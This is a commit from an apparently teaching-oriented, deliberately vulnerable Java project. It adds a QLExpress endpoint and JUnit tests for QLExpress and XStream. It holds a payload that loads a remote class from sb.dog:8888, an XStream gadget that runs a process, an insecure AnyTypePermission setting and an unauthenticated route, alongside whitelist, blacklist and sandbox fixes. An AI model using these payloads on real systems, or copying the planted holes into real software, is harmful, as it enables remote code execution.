Skip to content

Commit 457d703

Browse files
author
JoyChou
committed
Add qlexpress and some test cases.
1 parent 7bf927a commit 457d703

File tree

8 files changed

+230
-42
lines changed

8 files changed

+230
-42
lines changed

README.md

+3-2
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
Java sec code is a very powerful and friendly project for learning Java vulnerability code.
55

6-
[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
6+
[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋
77

88
## Introduce
99

@@ -41,6 +41,7 @@ Sort by letter.
4141
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
4242
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
4343
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
44+
- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
4445
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
4546
- Runtime
4647
- ProcessBuilder
@@ -146,7 +147,7 @@ Viarus
146147
Example:
147148

148149
```
149-
http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
150+
http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
150151
```
151152

152153
return:

README_zh.md

+3-2
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。
44

5-
[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share)
5+
[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋
66

77
## 介绍
88

@@ -36,6 +36,7 @@ joychou/joychou123
3636
- [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java)
3737
- [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java)
3838
- [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java)
39+
- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java)
3940
- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java)
4041
- Runtime
4142
- ProcessBuilder
@@ -138,7 +139,7 @@ Viarus
138139
例子:
139140

140141
```
141-
http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami
142+
http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami
142143
```
143144

144145
返回:
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
package org.joychou.controller;
2+
3+
import com.ql.util.express.DefaultContext;
4+
import com.ql.util.express.ExpressRunner;
5+
import com.ql.util.express.config.QLExpressRunStrategy;
6+
import org.joychou.util.WebUtils;
7+
import org.springframework.web.bind.annotation.RequestMapping;
8+
import org.springframework.web.bind.annotation.RestController;
9+
10+
import javax.servlet.http.HttpServletRequest;
11+
12+
@RestController(value = "/qlexpress")
13+
public class QLExpress {
14+
15+
/**
16+
* url = 'http://sb.dog:8888/';
17+
* classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
18+
* classLoader.loadClass('Hello').newInstance();
19+
*/
20+
@RequestMapping("/vuln1")
21+
public String vuln1(HttpServletRequest req) throws Exception{
22+
String express = WebUtils.getRequestBody(req);
23+
System.out.println(express);
24+
ExpressRunner runner = new ExpressRunner();
25+
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
26+
Object r = runner.execute(express, context, null, true, false);
27+
System.out.println(r);
28+
return r.toString();
29+
}
30+
31+
@RequestMapping("/sec")
32+
public String sec(HttpServletRequest req) throws Exception{
33+
String express = WebUtils.getRequestBody(req);
34+
System.out.println(express);
35+
ExpressRunner runner = new ExpressRunner();
36+
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
37+
// Can only call java.lang.String#length()
38+
QLExpressRunStrategy.addSecureMethod(String.class, "length");
39+
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
40+
Object r = runner.execute(express, context, null, true, false);
41+
System.out.println(r);
42+
return r.toString();
43+
}
44+
}

src/main/java/org/joychou/controller/XStreamRce.java

+2-12
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.thoughtworks.xstream.XStream;
44
import com.thoughtworks.xstream.io.xml.DomDriver;
5+
import com.thoughtworks.xstream.security.AnyTypePermission;
56
import org.joychou.dao.User;
67
import org.joychou.util.WebUtils;
78
import org.springframework.web.bind.annotation.PostMapping;
@@ -24,20 +25,9 @@ public class XStreamRce {
2425
public String parseXml(HttpServletRequest request) throws Exception {
2526
String xml = WebUtils.getRequestBody(request);
2627
XStream xstream = new XStream(new DomDriver());
28+
xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected.
2729
xstream.fromXML(xml);
2830
return "xstream";
2931
}
3032

31-
public static void main(String[] args) {
32-
User user = new User();
33-
user.setId(0);
34-
user.setUsername("admin");
35-
36-
XStream xstream = new XStream(new DomDriver());
37-
String xml = xstream.toXML(user); // Serialize
38-
System.out.println(xml);
39-
40-
user = (User) xstream.fromXML(xml); // Deserialize
41-
System.out.println(user.getId() + ": " + user.getUsername());
42-
}
4333
}
+4-25
Original file line numberDiff line numberDiff line change
@@ -1,32 +1,11 @@
11
package org.joychou.dao;
22

3-
import java.io.Serializable;
3+
import lombok.Data;
44

5-
public class User implements Serializable {
6-
private static final long serialVersionUID = 1L;
5+
6+
@Data
7+
public class User {
78
private Integer id;
89
private String username;
910
private String password;
10-
11-
public Integer getId() {
12-
return id;
13-
}
14-
public void setId(Integer id) {
15-
this.id = id;
16-
}
17-
18-
public String getUsername() {
19-
return username;
20-
}
21-
public void setUsername(String username) {
22-
this.username = username;
23-
}
24-
25-
public String getPassword() {
26-
return password;
27-
}
28-
public void setPassword(String password) {
29-
this.password = password;
30-
}
31-
3211
}

src/main/resources/application.properties

+1-1
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ swagger.enable = true
4646

4747

4848
### no need to login page begins ###
49-
joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**
49+
joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/**
5050
### no need to login page ends ###
5151

5252

+103
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,103 @@
1+
package org.test;
2+
3+
import com.ql.util.express.DefaultContext;
4+
import com.ql.util.express.ExpressRunner;
5+
import com.ql.util.express.IExpressContext;
6+
import com.ql.util.express.config.QLExpressRunStrategy;
7+
import org.junit.Test;
8+
9+
/**
10+
* <a href="https://github.com/alibaba/QLExpress">QLExpress</a> security test cases.
11+
*/
12+
public class QLExpressTest {
13+
14+
private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();";
15+
16+
/**
17+
* basic usage
18+
*/
19+
@Test
20+
public void basicUsage() throws Exception{
21+
ExpressRunner runner = new ExpressRunner();
22+
IExpressContext<String, Object> context = new DefaultContext<>();
23+
context.put("a", 1);
24+
context.put("b", 2);
25+
Object r = runner.execute("a+b", context, null, true, false);
26+
System.out.println(r); // print 3
27+
}
28+
29+
/**
30+
* Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class.
31+
*/
32+
@Test
33+
public void vuln1() throws Exception {
34+
System.out.println(poc);
35+
ExpressRunner runner = new ExpressRunner();
36+
IExpressContext<String, Object> context = new DefaultContext<>();
37+
Object r = runner.execute(poc, context, null, true, false);
38+
System.out.println(r);
39+
}
40+
41+
/**
42+
* fix method by using class and method whitelist.
43+
*/
44+
@Test
45+
public void sec01() throws Exception {
46+
System.out.println(poc);
47+
ExpressRunner runner = new ExpressRunner();
48+
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
49+
QLExpressRunStrategy.addSecureMethod(String.class, "length");
50+
IExpressContext<String, Object> context = new DefaultContext<>();
51+
Object r1 = runner.execute("'abc'.length()", context, null, true, false);
52+
System.out.println(r1);
53+
Object r2 = runner.execute(poc, context, null, true, false);
54+
System.out.println(r2);
55+
}
56+
57+
/**
58+
* <p>Fix method by using class and method blacklist. It may exist bypass. </p>
59+
*
60+
* <p>Default blacklist:
61+
* <ul>
62+
* <li>System.class.getName() + ".exit"</li>
63+
* <li>ProcessBuilder.class.getName() + ".start"</li>
64+
* <li>Method.class.getName() + ".invoke"</li>
65+
* <li>Class.class.getName() + ".forName"</li>
66+
* <li>ClassLoader.class.getName() + ".loadClass"</li>
67+
* <li>ClassLoader.class.getName() + ".findClass"</li>
68+
* <li>ClassLoader.class.getName() + ".defineClass"</li>
69+
* <li>ClassLoader.class.getName() + ".getSystemClassLoader"</li>
70+
* <li>javax.naming.InitialContext.lookup</li>
71+
* <li>com.sun.rowset.JdbcRowSetImpl.setDataSourceName</li>
72+
* <li>com.sun.rowset.JdbcRowSetImpl.setAutoCommit</li>
73+
* <li>QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"</li>
74+
* <li>jdk.jshell.JShell.create</li>
75+
* <li>javax.script.ScriptEngineManager.getEngineByName</li>
76+
* <li>org.springframework.jndi.JndiLocatorDelegate.lookup</li>
77+
* </ul>
78+
* </p>
79+
*/
80+
@Test
81+
public void sec02() throws Exception {
82+
System.out.println(poc);
83+
ExpressRunner runner = new ExpressRunner();
84+
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
85+
IExpressContext<String, Object> context = new DefaultContext<>();
86+
Object r = runner.execute(poc, context, null, true, false);
87+
System.out.println(r);
88+
}
89+
90+
91+
/**
92+
* <p>Fix method by using sandbox. </p>
93+
*/
94+
@Test
95+
public void sec03() throws Exception {
96+
System.out.println(poc);
97+
ExpressRunner runner = new ExpressRunner();
98+
QLExpressRunStrategy.setSandBoxMode(true);
99+
IExpressContext<String, Object> context = new DefaultContext<>();
100+
Object r = runner.execute(poc, context, null, true, false);
101+
System.out.println(r);
102+
}
103+
}
+70
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package org.test;
2+
3+
import com.thoughtworks.xstream.XStream;
4+
import com.thoughtworks.xstream.io.xml.DomDriver;
5+
import com.thoughtworks.xstream.security.AnyTypePermission;
6+
import org.joychou.dao.User;
7+
import org.junit.Test;
8+
9+
public class XStreamTest {
10+
11+
private static final String poc_xml = "<sorted-set>\n" +
12+
" <string>foo</string>\n" +
13+
" <dynamic-proxy>\n" +
14+
" <interface>java.lang.Comparable</interface>\n" +
15+
" <handler class=\"java.beans.EventHandler\">\n" +
16+
" <target class=\"java.lang.ProcessBuilder\">\n" +
17+
" <command>\n" +
18+
" <string>Open</string>\n" +
19+
" <string>-a</string>\n" +
20+
" <string>Calculator</string>\n" +
21+
" </command>\n" +
22+
" </target>\n" +
23+
" <action>start</action>\n" +
24+
" </handler>\n" +
25+
" </dynamic-proxy>\n" +
26+
"</sorted-set>";
27+
28+
29+
/**
30+
* XStream basic usage.
31+
*/
32+
@Test
33+
public void basicUsage() {
34+
User user = new User();
35+
user.setId(0);
36+
user.setUsername("admin");
37+
38+
XStream xstream = new XStream(new DomDriver());
39+
String xml = xstream.toXML(user); // Serialize
40+
System.out.println(xml);
41+
42+
// High version xstream needs set allowTypes
43+
xstream.allowTypes(new Class[]{User.class});
44+
user = (User) xstream.fromXML(xml); // Deserialize
45+
System.out.println(user.getId() + ": " + user.getUsername());
46+
}
47+
48+
/**
49+
* Command execute
50+
*/
51+
@Test
52+
public void vuln01() {
53+
System.out.println(poc_xml);
54+
XStream xstream = new XStream();
55+
xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration
56+
xstream.fromXML(poc_xml); // Deserialize
57+
}
58+
59+
60+
/**
61+
* Security code. XStream version: 1.4.20
62+
*/
63+
@Test
64+
public void sec01() {
65+
System.out.println(poc_xml);
66+
XStream xstream = new XStream();
67+
xstream.fromXML(poc_xml); // Deserialize
68+
}
69+
70+
}

0 commit comments

Comments
 (0)